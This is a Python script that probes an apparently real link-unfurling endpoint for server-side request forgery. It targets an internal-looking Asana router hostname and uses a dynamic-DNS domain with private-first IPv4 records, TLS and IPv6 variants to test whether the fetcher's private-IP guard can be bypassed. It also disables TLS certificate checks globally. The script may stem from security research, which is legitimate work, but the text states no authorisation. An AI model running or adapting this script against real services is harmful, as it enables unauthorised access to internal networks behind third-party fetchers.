import json, time, urllib.request, urllib.parse, ssl
ssl._create_default_https_context = ssl._create_unverified_context
UF = "https://d3exhk6mksjlyy.cloudfront.net/?url="
seq = 0
def fetch(url, note=''):
    global seq; seq += 1
    q = UF + urllib.parse.quote(url, safe='') + f"&n={seq}"
    t0 = time.time()
    try:
        r = json.load(urllib.request.urlopen(urllib.request.Request(q, headers={'User-Agent':'Mozilla/5.0'}), timeout=60))
        md = r.get('metadata', {}); ud = r.get('unfurl_data', {})
        og = (ud.get('og') or {}).get('title') or ud.get('title') or ''
        print("[%s] (%5.1fs) %s :: stage=%s reason=%s ctx=%s og=%r" % (note, time.time()-t0, url[:70],
              md.get('stage'), md.get('empty_response_reason'), json.dumps(md.get('addl_context'))[:180], str(og)[:60]), flush=True)
    except Exception as e:
        print("[%s] (%5.1fs) %s :: EXC %s" % (note, time.time()-t0, url[:70], str(e)[:150]), flush=True)

BASE = "asrouter51.dedyn.io"
# 1) guard calibration: pure RFC1918 public name (expect non_global_ip_error both backends)
fetch("http://cell-router.prod-us1-asana-cell09.cell.asana.biz/", "pure-priv")
# 2) v4 mixed private-first shapes, several attempts each (round-robin strict/permissive)
for i in range(6):
    fetch(f"http://c09a.{BASE}/c09pass.html", f"a-vip30-{i}")
    fetch(f"http://c09b.{BASE}/c09pass.html", f"b-vip56-{i}")
# 3) https x509 shape on c09a (cert-answering oracle on :443)
for i in range(4):
    fetch(f"https://c09a.{BASE}/c09pass.html", f"a-tls-{i}")
# 4) v6 control (marker over v6 proves fetcher v6 egress)
for i in range(4):
    fetch(f"http://ctlv6.{BASE}/c09pass.html", f"ctl-v6-{i}")
